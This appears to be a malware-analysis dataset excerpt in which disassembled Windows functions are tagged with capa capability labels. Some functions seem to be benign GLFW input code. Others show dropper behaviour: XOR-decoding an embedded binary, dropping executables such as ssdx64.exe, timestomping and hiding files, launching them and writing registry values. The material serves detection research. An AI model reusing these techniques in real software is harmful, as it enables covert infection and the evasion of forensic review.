joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140098e70
Capabilities:
Register raw input devices

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x50
lea rdi, [rsp + 0x20]
mov ecx, 0xc
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x60]
mov eax, 1
mov word [rsp + 0x28], ax
mov eax, 2
mov word [rsp + 0x2a], ax
mov dword [rsp + 0x2c], 0
mov rax, qword [rsp + 0x60]
mov rax, qword [rax + 0x350]
mov qword [rsp + 0x30], rax
mov r8d, 0x10
mov edx, 1
lea rcx, [rsp + 0x28]
call qword [sym.imp.USER32.dll_RegisterRawInputDevices]
test eax, eax
jne 0x140098ee8
lea rdx, str.Win32:_Failed_to_register_raw_input_device
mov ecx, 0x10008
call fcn.14009f560
mov rcx, rsp
lea rdx, [0x1400a9c70]
call fcn.1400a624c
add rsp, 0x50
pop rdi
ret

Function at 0x140098f10
Capabilities:
Register raw input devices

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x50
lea rdi, [rsp + 0x20]
mov ecx, 0xc
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x60]
mov eax, 1
mov word [rsp + 0x28], ax
mov eax, 2
mov word [rsp + 0x2a], ax
mov dword [rsp + 0x2c], 1
mov qword [rsp + 0x30], 0
mov r8d, 0x10
mov edx, 1
lea rcx, [rsp + 0x28]
call qword [sym.imp.USER32.dll_RegisterRawInputDevices]
test eax, eax
jne 0x140098f80
lea rdx, str.Win32:_Failed_to_remove_raw_input_device
mov ecx, 0x10008
call fcn.14009f560
mov rcx, rsp
lea rdx, [0x1400a9cd0]
call fcn.1400a624c
add rsp, 0x50
pop rdi
ret

Function at 0x1400994c0
Capabilities:
Log keystrokes via polling

Disassembly:
push rdi
sub rsp, 0x30
mov dword [rsp + 0x20], 0
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x1400994ee
mov eax, dword [rsp + 0x20]
or eax, 1
mov dword [rsp + 0x20], eax
mov ecx, 0x11
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x14009950e
mov eax, dword [rsp + 0x20]
or eax, 2
mov dword [rsp + 0x20], eax
mov ecx, 0x12
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x14009952e
mov eax, dword [rsp + 0x20]
or eax, 4
mov dword [rsp + 0x20], eax
mov ecx, 0x5b
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
mov dword [rsp + 0x24], eax
mov ecx, 0x5c
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
mov ecx, dword [rsp + 0x24]
or ecx, eax
mov eax, ecx
and eax, 0x8000
test eax, eax
je 0x140099566
mov eax, dword [rsp + 0x20]
or eax, 8
mov dword [rsp + 0x20], eax
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 1
test eax, eax
je 0x140099584
mov eax, dword [rsp + 0x20]
or eax, 0x10
mov dword [rsp + 0x20], eax
mov ecx, 0x90
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 1
test eax, eax
je 0x1400995a2
mov eax, dword [rsp + 0x20]
or eax, 0x20
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add rsp, 0x30
pop rdi
ret
Function at 0x14009bd10
Capabilities:
Allocate thread local storage

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x20
mov rax, qword [rsp + 0x30]
cmp dword [rax], 0
je 0x14009bd40
mov r8d, 0x29
lea rdx, [0x140108dc0]
lea rcx, str.tls__win32.allocated__GLFW_FALSE
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
xor eax, eax
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov rcx, qword [rsp + 0x30]
mov dword [rcx + 4], eax
mov rax, qword [rsp + 0x30]
cmp dword [rax + 4], 0xffffffff
jne 0x14009bd6e
lea rdx, str.Win32:_Failed_to_allocate_TLS_index
mov ecx, 0x10008
call fcn.14009f560
xor eax, eax
jmp 0x14009bd7e
mov rax, qword [rsp + 0x30]
mov dword [rax], 1
mov eax, 1
add rsp, 0x20
pop rdi
ret

Function at 0x14009bdd0
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x20
mov rax, qword [rsp + 0x30]
cmp dword [rax], 1
je 0x14009be00
mov r8d, 0x40
lea rdx, [0x140108ed0]
lea rcx, [0x140108f70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
xor eax, eax
mov rax, qword [rsp + 0x30]
mov ecx, dword [rax + 4]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x20
pop rdi
ret

Function at 0x14009be20
Capabilities:
Set thread local storage value

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x20
mov rax, qword [rsp + 0x30]
cmp dword [rax], 1
je 0x14009be55
mov r8d, 0x46
lea rdx, [0x140108fc0]
lea rcx, str.tls__win32.allocated__GLFW_TRUE
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
xor eax, eax
mov rdx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x30]
mov ecx, dword [rax + 4]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
add rsp, 0x20
pop rdi
ret
Function at 0x14009f6b0
Capabilities:
Log keystrokes

Disassembly:
push rdi
sub rsp, 0x220
lea rdi, [rsp + 0x40]
mov ecx, 0x78
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14010f7c0]
xor rax, rsp
mov qword [rsp + 0x210], rax
lea rax, [rsp + 0x60]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
mov r8d, 0x6d1
xor edx, edx
lea rcx, [0x140111962]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x40], 0x20
jmp 0x14009f715
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0x15c
jg 0x14009f919
movsxd rax, dword [rsp + 0x40]
lea rcx, [0x1401116a8]
movsx eax, word [rcx + rax*2]
mov dword [rsp + 0x168], eax
cmp dword [rsp + 0x168], 0xffffffff
jne 0x14009f746
jmp 0x14009f70b
cmp dword [rsp + 0x40], 0x140
jl 0x14009f822
cmp dword [rsp + 0x40], 0x14e
jg 0x14009f822
mov dword [rsp + 0x1b8], 0x60
mov dword [rsp + 0x1bc], 0x61
mov dword [rsp + 0x1c0], 0x62
mov dword [rsp + 0x1c4], 0x63
mov dword [rsp + 0x1c8], 0x64
mov dword [rsp + 0x1cc], 0x65
mov dword [rsp + 0x1d0], 0x66
mov dword [rsp + 0x1d4], 0x67
mov dword [rsp + 0x1d8], 0x68
mov dword [rsp + 0x1dc], 0x69
mov dword [rsp + 0x1e0], 0x6e
mov dword [rsp + 0x1e4], 0x6f
mov dword [rsp + 0x1e8], 0x6a
mov dword [rsp + 0x1ec], 0x6d
mov dword [rsp + 0x1f0], 0x6b
mov eax, dword [rsp + 0x40]
sub eax, 0x140
cdqe
mov eax, dword [rsp + rax*4 + 0x1b8]
mov dword [rsp + 0x164], eax
jmp 0x14009f83b
mov edx, 1
mov ecx, dword [rsp + 0x168]
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
mov dword [rsp + 0x164], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x10
lea r9, [rsp + 0x178]
lea r8, [rsp + 0x60]
mov edx, dword [rsp + 0x168]
mov ecx, dword [rsp + 0x164]
call qword [sym.imp.USER32.dll_ToUnicode]
mov dword [rsp + 0x16c], eax
cmp dword [rsp + 0x16c], 0xffffffff
jne 0x14009f8b5
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x10
lea r9, [rsp + 0x178]
lea r8, [rsp + 0x60]
mov edx, dword [rsp + 0x168]
mov ecx, dword [rsp + 0x164]
call qword [sym.imp.USER32.dll_ToUnicode]
mov dword [rsp + 0x16c], eax
cmp dword [rsp + 0x16c], 1
jge 0x14009f8c4
jmp 0x14009f70b
movsxd rax, dword [rsp + 0x40]
imul rax, rax, 5
lea rcx, [0x140111962]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], rax
mov r9d, 1
lea r8, [rsp + 0x178]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
jmp 0x14009f70b
mov rcx, rsp
lea rdx, [0x1400ab2b0]
call fcn.1400a624c
mov rcx, qword [rsp + 0x210]
xor rcx, rsp
call fcn.1400a5770
add rsp, 0x220
pop rdi
ret
Function at 0x1400a4940
Capabilities:
Link many functions at runtime

Disassembly:
push rdi
sub rsp, 0x70
lea rdi, [rsp + 0x20]
mov ecx, 0x14
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14010f7c0]
xor rax, rsp
mov qword [rsp + 0x60], rax
lea rax, str.libOSMesa.dll
mov qword [rsp + 0x38], rax
lea rax, str.OSMesa.dll
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0
cmp qword [0x140112280], 0
je 0x1400a499b
mov eax, 1
jmp 0x1400a4b1b
mov dword [rsp + 0x20], 0
jmp 0x1400a49af
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
movsxd rax, dword [rsp + 0x20]
cmp qword [rsp + rax*8 + 0x38], 0
je 0x1400a49e1
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + rax*8 + 0x38]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x140112280], rax
cmp qword [0x140112280], 0
je 0x1400a49df
jmp 0x1400a49e1
jmp 0x1400a49a5
cmp qword [0x140112280], 0
jne 0x1400a4a03
lea rdx, str.OSMesa:_Library_not_found
mov ecx, 0x10006
call fcn.140095240
xor eax, eax
jmp 0x1400a4b1b
lea rdx, str.OSMesaCreateContextExt
mov rcx, qword [0x140112280]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140112288], rax
lea rdx, str.OSMesaCreateContextAttribs
mov rcx, qword [0x140112280]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140112290], rax
lea rdx, str.OSMesaDestroyContext
mov rcx, qword [0x140112280]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140112298], rax
lea rdx, str.OSMesaMakeCurrent
mov rcx, qword [0x140112280]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401122a0], rax
lea rdx, str.OSMesaGetColorBuffer
mov rcx, qword [0x140112280]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401122a8], rax
lea rdx, str.OSMesaGetDepthBuffer
mov rcx, qword [0x140112280]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401122b0], rax
lea rdx, str.OSMesaGetProcAddress
mov rcx, qword [0x140112280]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401122b8], rax
cmp qword [0x140112288], 0
je 0x1400a4afc
cmp qword [0x140112298], 0
je 0x1400a4afc
cmp qword [0x1401122a0], 0
je 0x1400a4afc
cmp qword [0x1401122a8], 0
je 0x1400a4afc
cmp qword [0x1401122b0], 0
je 0x1400a4afc
cmp qword [0x1401122b8], 0
jne 0x1400a4b16
lea rdx, str.OSMesa:_Failed_to_load_required_entry_points
mov ecx, 0x10008
call fcn.140095240
call fcn.1400a4b50
xor eax, eax
jmp 0x1400a4b1b
mov eax, 1
mov rdi, rax
mov rcx, rsp
lea rdx, [0x1400ab940]
call fcn.1400a624c
mov rax, rdi
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400a5770
add rsp, 0x70
pop rdi
ret

Function at 0x1400a64ac
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400a64f6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400a64f6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400a64f6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400a64f6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400a64f6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400a64f8
xor al, al
add rsp, 0x28
ret
Function at 0x1400015c4
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x510
mov rax, qword [0x140008020]
xor rax, rsp
mov qword [rsp + 0x500], rax
mov rbx, rcx
mov rdi, rdx
mov esi, 0x68
lea rcx, [rsp + 0x70]
xor edx, edx
mov r8, rsi
call sub.MSVCR90.dll_memset
xor eax, eax
mov dword [rsp + 0x70], esi
lea rcx, [rsp + 0x2f2]
xor esi, esi
xor edx, edx
mov r8d, 0x206
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov word [rsp + 0x2f0], si
mov qword [rsp + 0x60], rax
call sub.MSVCR90.dll_memset
mov r9d, 0x103
mov r8, rbx
lea rcx, [rsp + 0x2f0]
lea ebx, [r9 + 1]
mov rdx, rbx
call qword [sym.imp.MSVCR90.dll_wcsncpy_s]
lea rcx, [rsp + 0xe2]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0xe0], si
call sub.MSVCR90.dll_memset
lea r9d, [rbx - 1]
lea rcx, [rsp + 0xe0]
mov r8, rdi
mov rdx, rbx
call qword [sym.imp.MSVCR90.dll_wcsncpy_s]
lea r11, [rsp + 0x50]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], r11
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rsi
lea rdx, [rsp + 0x2f0]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 1
je 0x1400016de
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, esi
mov rcx, qword [rsp + 0x500]
xor rcx, rsp
call fcn.1400034b0
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x14000194c
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
lea rcx, [0x140005560]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rbx + 0x50], rax
test rax, rax
jne 0x140001972
xor al, al
jmp 0x140001a0e
lea rdx, [0x140005580]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x50]
test rax, rax
jne 0x14000199a
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [rbx + 0x5c], 2
jmp 0x14000196b
lea rdx, str.Process32FirstW
mov qword [rbx + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x50]
test rax, rax
je 0x14000198b
lea rdx, str.Process32NextW
mov qword [rbx + 0x28], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x50]
test rax, rax
je 0x14000198b
lea rdx, str.Module32FirstW
mov qword [rbx + 0x30], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x50]
test rax, rax
je 0x14000198b
lea rdx, str.Module32NextW
mov qword [rbx + 0x38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140001a04
mov rcx, qword [rbx + 0x50]
jmp 0x14000198b
mov qword [rbx + 0x40], rax
mov byte [rbx + 0x59], 1
mov al, 1
add rsp, 0x20
pop rbx
ret
Function at 0x140002b1c
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rsi
push rdi
sub rsp, 0x290
mov rax, qword [0x140008020]
xor rax, rsp
mov qword [rsp + 0x280], rax
and dword [rsp + 0x60], 0
mov dword [rsp + 0x64], edx
lea rcx, [rsp + 0x70]
lea rdx, [0x1400056c8]
mov r8d, 0x34
call sub.MSVCR90.dll_memcpy
lea rcx, [rsp + 0xa4]
xor edx, edx
mov r8d, 0x1d4
call sub.MSVCR90.dll_memset
lea rdx, [rsp + 0x50]
mov rdi, 0xffffffff80000002
mov qword [rsp + 0x20], rdx
lea rdx, [rsp + 0x70]
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140002bdf
lea rax, [rsp + 0x68]
lea rdx, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x38], rax
and qword [rsp + 0x30], 0
mov rcx, rdi
mov dword [rsp + 0x28], 0x20006
and dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140002d05
mov rcx, qword [rsp + 0x50]
mov esi, 4
lea rax, [rsp + 0x5c]
lea rdx, str.VERSION_Value
mov r9d, esi
xor r8d, r8d
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x5c], 0x4e34
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
or rcx, 0xffffffffffffffff
lea rdx, [0x140005700]
xor eax, eax
mov rdi, rdx
lea r9d, [rsi - 3]
repne scasw ax, word [rdi]
xor r8d, r8d
not rcx
lea eax, [rcx + rcx + 2]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdx
lea rdx, [0x1400057f0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
or rcx, 0xffffffffffffffff
lea rdx, str.ff3487rbea4775grsn9_.uvu_a35_7754_bml_22114i81
xor eax, eax
mov rdi, rdx
lea r9d, [rsi - 3]
repne scasw ax, word [rdi]
xor r8d, r8d
not rcx
lea eax, [rcx + rcx + 2]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdx
lea rdx, [0x140005810]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x60]
lea rdx, [0x140005830]
mov r9d, esi
xor r8d, r8d
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x64]
lea rdx, str.DNS_Value
mov r9d, esi
xor r8d, r8d
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
call fcn.140002a64
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x58], eax
lea rax, [rsp + 0x58]
lea rdx, str.SubNet_Value
mov r9d, esi
xor r8d, r8d
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140002d15
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.1400034b0
mov rsi, qword [rsp + 0x2a0]
add rsp, 0x290
pop rdi
ret
Function at 0x140002d38
Capabilities:
Set file attributes
Timestomp file

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x50
xor esi, esi
xor r9d, r9d
mov edx, 0xc0000000
mov qword [rax - 0x28], rsi
lea r8d, [rsi + 3]
mov dword [rax - 0x30], 0x2000000
mov dword [rax - 0x38], r8d
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140002d7e
xor eax, eax
jmp 0x140002e16
mov eax, 0x7d9
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x40]
mov word [rsp + 0x40], ax
mov eax, 0xb
mov word [rsp + 0x44], si
mov word [rsp + 0x42], ax
mov eax, 0x15
mov word [rsp + 0x4e], si
mov word [rsp + 0x46], ax
mov eax, 0x12
mov word [rsp + 0x48], ax
mov eax, 7
mov word [rsp + 0x4a], ax
mov eax, 5
mov word [rsp + 0x4c], ax
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea r9, [rsp + 0x68]
lea rdx, [rsp + 0x68]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, 1
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret

Function at 0x140002e28
Capabilities:
Delete file
Encode data using xor
Get common file path

Disassembly:
mov qword [rsp + 8], rsi
push rdi
sub rsp, 0x360
mov rax, qword [0x140008020]
xor rax, rsp
mov qword [rsp + 0x350], rax
lea rcx, [rsp + 0x31]
xor esi, esi
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x30], sil
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x30]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x30]
repne scasb al, byte [rdi]
mov rax, qword [0x140005880]
lea rcx, [rsp + 0x30]
mov qword [rdi - 1], rax
mov rax, qword [0x140005888]
mov qword [rdi + 7], rax
movzx eax, word [0x140005890]
mov word [rdi + 0xf], ax
call qword [sym.imp.MSVCR90.dll_remove]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x142]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x140], si
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x140]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea r8, [0x140005898]
lea rcx, [rsp + 0x140]
mov edx, 0x104
call qword [sym.imp.MSVCR90.dll_wcscat_s]
lea r8, [rsp + 0x20]
lea rdx, str.IDR_BINARY
mov ecx, 0x95
mov dword [rsp + 0x20], esi
call fcn.14000110c
mov rdi, rax
cmp rax, rsi
je 0x140002f61
mov r8d, dword [rsp + 0x20]
cmp r8d, esi
jle 0x140002f3c
mov rcx, rax
mov rdx, r8
xor byte [rcx], 0x99
inc rcx
sub rdx, 1
jne 0x140002f30
lea rcx, [rsp + 0x140]
mov rdx, rax
call fcn.1400011e4
lea rcx, [rsp + 0x140]
call fcn.140002d38
mov rcx, rdi
call sub.MSVCR90.dll_void___cdecl_operator_delete_void____ptr64_
xor eax, eax
mov rcx, qword [rsp + 0x350]
xor rcx, rsp
call fcn.1400034b0
mov rsi, qword [rsp + 0x370]
add rsp, 0x360
pop rdi
ret
Function at 0x140002fe0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x460
mov rax, qword [0x140008020]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov ebx, 0x206
lea rcx, [rsp + 0x242]
xor edi, edi
mov r8, rbx
xor edx, edx
mov word [rsp + 0x240], di
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x32]
mov r8, rbx
xor edx, edx
mov word [rsp + 0x30], di
call sub.MSVCR90.dll_memset
mov ebx, 0x104
lea rdx, [rsp + 0x240]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea rdx, [rsp + 0x30]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r8, str.ssdx64.exe
lea rcx, [rsp + 0x30]
mov rdx, rbx
call qword [sym.imp.MSVCR90.dll_wcscat_s]
lea r8, [rsp + 0x20]
lea rdx, str.IDR_BINARY
lea ecx, [rbx - 0x6f]
mov dword [rsp + 0x20], edi
call fcn.14000110c
mov rbx, rax
cmp rax, rdi
je 0x1400030b7
mov r8d, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov rdx, rax
call fcn.1400011e4
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0x30]
call fcn.1400015c4
mov rcx, rbx
call sub.MSVCR90.dll_void___cdecl_operator_delete_void____ptr64_
xor eax, eax
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.1400034b0
mov rbx, qword [rsp + 0x470]
add rsp, 0x460
pop rdi
ret

Function at 0x1400030dc
Capabilities:
Create process on windows
Get common file path

Disassembly:
push rdi
sub rsp, 0x460
mov rax, qword [0x140008020]
xor rax, rsp
mov qword [rsp + 0x450], rax
lea rcx, [rsp + 0x242]
xor edi, edi
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x240], di
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x32]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x30], di
call sub.MSVCR90.dll_memset
lea ecx, [rdi + 1]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x240]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
mov r11, rdi
movzx eax, word [rsp + r11 + 0x240]
add r11, 2
mov word [rsp + r11 + 0x2e], ax
cmp ax, di
jne 0x14000314c
lea r8, str.sc.exe
lea rcx, [rsp + 0x30]
mov edx, 0x104
call qword [sym.imp.MSVCR90.dll_wcscat_s]
lea rdx, [rsp + 0x30]
mov r8d, 1
mov ecx, 0x96
call fcn.14000126c
lea r8, [rsp + 0x30]
lea rdx, [0x1400058d8]
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.1400034b0
add rsp, 0x460
pop rdi
ret
Function at 0x1400031cc
Capabilities:
Create process on windows
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x460
mov rax, qword [0x140008020]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov ebx, 0x206
lea rcx, [rsp + 0x242]
xor edi, edi
mov r8, rbx
xor edx, edx
mov word [rsp + 0x240], di
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x32]
mov r8, rbx
xor edx, edx
mov word [rsp + 0x30], di
call sub.MSVCR90.dll_memset
mov ebx, 0x104
lea rcx, [rsp + 0x240]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov r11, rdi
movzx eax, word [rsp + r11 + 0x240]
add r11, 2
mov word [rsp + r11 + 0x2e], ax
cmp ax, di
jne 0x140003238
lea r8, [0x140005440]
lea rcx, [rsp + 0x30]
mov rdx, rbx
call qword [sym.imp.MSVCR90.dll_wcscat_s]
lea r8, str.WMSysPrs.exe
lea rcx, [rsp + 0x30]
mov rdx, rbx
call qword [sym.imp.MSVCR90.dll_wcscat_s]
lea rdx, [rsp + 0x30]
mov r8d, 1
mov ecx, 0xb2
call fcn.14000126c
cmp eax, edi
je 0x14000329d
lea rcx, [rsp + 0x30]
call fcn.140002d38
lea r8, [rsp + 0x30]
lea rdx, [0x1400058d8]
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140002fe0
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.1400034b0
mov rbx, qword [rsp + 0x470]
add rsp, 0x460
pop rdi
ret

Function at 0x1400032f0
Capabilities:
Get common file path
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x480
mov rax, qword [0x140008020]
xor rax, rsp
mov qword [rsp + 0x470], rax
lea rcx, [rsp + 0x60]
xor edx, edx
mov r8d, 0x200
call sub.MSVCR90.dll_memset
xor r9d, r9d
lea rdx, [rsp + 0x60]
lea r8d, [r9 + 8]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rcx, [rsp + 0x60]
mov edx, 0x5c
call qword [sym.imp.MSVCR90.dll_wcsrchr]
xor ebx, ebx
cmp rax, rbx
je 0x14000334f
mov word [rax], bx
lea rcx, [rsp + 0x260]
lea rdx, str.SOFTWAREWinCSIDL_RECENT
mov r8d, 0x34
call sub.MSVCR90.dll_memcpy
lea rcx, [rsp + 0x294]
xor edx, edx
mov r8d, 0x1d4
call sub.MSVCR90.dll_memset
lea rdx, [rsp + 0x50]
mov rdi, 0xffffffff80000002
mov qword [rsp + 0x20], rdx
lea rdx, [rsp + 0x260]
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
je 0x1400033ed
lea rax, [rsp + 0x58]
lea rdx, [rsp + 0x260]
xor r9d, r9d
